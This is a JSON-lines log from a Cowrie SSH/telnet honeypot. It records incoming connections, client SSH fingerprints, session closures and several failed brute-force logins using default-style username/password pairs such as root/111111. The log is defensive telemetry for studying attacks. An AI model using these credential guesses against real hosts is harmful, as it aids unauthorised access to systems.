{"eventid":"cowrie.session.closed","duration":43.736706256866455,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:32.480979Z","src_ip":"192.119.13.58","session":"04e34bb47c52","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima12345","message":"login attempt [root/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:32.920799Z","src_ip":"103.27.238.116","session":"4a23ef95b513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.54985332489014,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:33.351556Z","src_ip":"192.119.13.58","session":"370ffe9c43ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:33.384367Z","src_ip":"122.51.73.24","session":"eaa1c5f34f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:34.185920Z","src_ip":"103.27.238.116","session":"4a23ef95b513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d10889167862","protocol":"telnet","message":"New connection: 192.119.13.58:48644 (10.17.0.5:23) [session: d10889167862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:34.339111Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:34.627352Z","src_ip":"122.51.73.24","session":"eaa1c5f34f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.93075442314148,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:34.812594Z","src_ip":"192.119.13.58","session":"0556a805b564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.512197971343994,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:36.165833Z","src_ip":"192.119.13.58","session":"c8adaf319b01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.40192699432373,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:37.207879Z","src_ip":"192.119.13.58","session":"57bcb2f0ecc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.6513307094574,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:37.296238Z","src_ip":"192.119.13.58","session":"f4a6a557a459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40756,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5a3ceac79a8","protocol":"telnet","message":"New connection: 192.119.13.58:40756 (10.17.0.5:23) [session: e5a3ceac79a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:38.888751Z"}
{"eventid":"cowrie.session.closed","duration":40.80198359489441,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:39.354779Z","src_ip":"192.119.13.58","session":"d8a17c87f841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50230,"dst_ip":"10.17.0.5","dst_port":23,"session":"484d9121d25a","protocol":"telnet","message":"New connection: 192.119.13.58:50230 (10.17.0.5:23) [session: 484d9121d25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:40.816355Z"}
{"eventid":"cowrie.session.closed","duration":31.066594123840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:42.869734Z","src_ip":"192.119.13.58","session":"ea3271874bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.39647197723389,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:44.111250Z","src_ip":"192.119.13.58","session":"7b1ae1ea9157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.18032145500183,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:46.981523Z","src_ip":"192.119.13.58","session":"944ba3eb0f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50428,"dst_ip":"10.17.0.5","dst_port":23,"session":"db38564abea1","protocol":"telnet","message":"New connection: 192.119.13.58:50428 (10.17.0.5:23) [session: db38564abea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:47.562406Z"}
{"eventid":"cowrie.session.closed","duration":45.740586280822754,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:49.918795Z","src_ip":"192.119.13.58","session":"9ab1d213f41e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40706,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac280a6d0e0","protocol":"telnet","message":"New connection: 192.119.13.58:40706 (10.17.0.5:23) [session: 8ac280a6d0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:57.090980Z"}
{"eventid":"cowrie.session.closed","duration":51.959070444107056,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:57.193987Z","src_ip":"192.119.13.58","session":"b0e898795d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0619a60f711","protocol":"telnet","message":"New connection: 192.119.13.58:50246 (10.17.0.5:23) [session: d0619a60f711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:59.232208Z"}
{"eventid":"cowrie.session.closed","duration":47.899375915527344,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:00.369474Z","src_ip":"192.119.13.58","session":"b9a9a0b3109e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57226,"dst_ip":"10.17.0.5","dst_port":23,"session":"477f13534ccb","protocol":"telnet","message":"New connection: 192.119.13.58:57226 (10.17.0.5:23) [session: 477f13534ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:00.918879Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f64905d7c00","protocol":"telnet","message":"New connection: 192.119.13.58:57630 (10.17.0.5:23) [session: 3f64905d7c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:01.004705Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"266374a45dff","protocol":"ssh","message":"New connection: 103.82.132.16:39836 (159.203.135.109:22) [session: 266374a45dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:01.025053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:01.036827Z","src_ip":"103.82.132.16","session":"266374a45dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:01.294694Z","src_ip":"103.82.132.16","session":"266374a45dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.110","src_port":55729,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cd0dbecb30","protocol":"ssh","message":"New connection: 64.62.156.110:55729 (10.17.0.5:22) [session: e1cd0dbecb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:01.933386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:01.942084Z","src_ip":"64.62.156.110","session":"e1cd0dbecb30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.020893Z","src_ip":"64.62.156.110","session":"e1cd0dbecb30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"37gudoplfs45","message":"login attempt [root/37gudoplfs45] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.075183Z","src_ip":"103.82.132.16","session":"266374a45dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":50952,"dst_ip":"10.17.0.5","dst_port":22,"session":"62da40a0d90a","protocol":"ssh","message":"New connection: 175.118.127.138:50952 (10.17.0.5:22) [session: 62da40a0d90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.457122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.462250Z","src_ip":"175.118.127.138","session":"62da40a0d90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.642702Z","src_ip":"175.118.127.138","session":"62da40a0d90a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46240,"dst_ip":"10.17.0.5","dst_port":22,"session":"97d568434f2c","protocol":"ssh","message":"New connection: 193.32.162.145:46240 (10.17.0.5:22) [session: 97d568434f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.685218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.689907Z","src_ip":"193.32.162.145","session":"97d568434f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:02.797630Z","src_ip":"193.32.162.145","session":"97d568434f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sollet","password":"sollet","message":"login attempt [sollet/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:03.108514Z","src_ip":"193.32.162.145","session":"97d568434f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:03.349051Z","src_ip":"103.82.132.16","session":"266374a45dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Abc","message":"login attempt [root/123456789Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:03.391699Z","src_ip":"175.118.127.138","session":"62da40a0d90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:04.213598Z","src_ip":"193.32.162.145","session":"97d568434f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:04.575910Z","src_ip":"175.118.127.138","session":"62da40a0d90a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":48438,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d88ea1acd46","protocol":"ssh","message":"New connection: 94.159.98.239:48438 (159.203.135.109:22) [session: 2d88ea1acd46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:05.129079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:05.328749Z","src_ip":"94.159.98.239","session":"2d88ea1acd46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:05.332778Z","src_ip":"94.159.98.239","session":"2d88ea1acd46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:05.933587Z","src_ip":"64.62.156.110","session":"e1cd0dbecb30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa123","message":"login attempt [root/aaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:06.456624Z","src_ip":"94.159.98.239","session":"2d88ea1acd46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.23866367340088,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:08.260639Z","src_ip":"192.119.13.58","session":"4af81bed1e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:08.510195Z","src_ip":"94.159.98.239","session":"2d88ea1acd46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.344412088394165,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:08.864232Z","src_ip":"192.119.13.58","session":"6e14d17969bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34780,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b0e600427ad","protocol":"telnet","message":"New connection: 192.119.13.58:34780 (10.17.0.5:23) [session: 9b0e600427ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:13.625581Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40538,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc4fefe048e","protocol":"telnet","message":"New connection: 192.119.13.58:40538 (10.17.0.5:23) [session: cbc4fefe048e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:14.813986Z"}
{"eventid":"cowrie.session.closed","duration":43.501357316970825,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:17.840367Z","src_ip":"192.119.13.58","session":"d10889167862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49464,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cde908ce551","protocol":"ssh","message":"New connection: 194.59.206.2:49464 (159.203.135.109:22) [session: 3cde908ce551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:19.482767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:22:19.487860Z","src_ip":"194.59.206.2","session":"3cde908ce551","protocol":"ssh"}
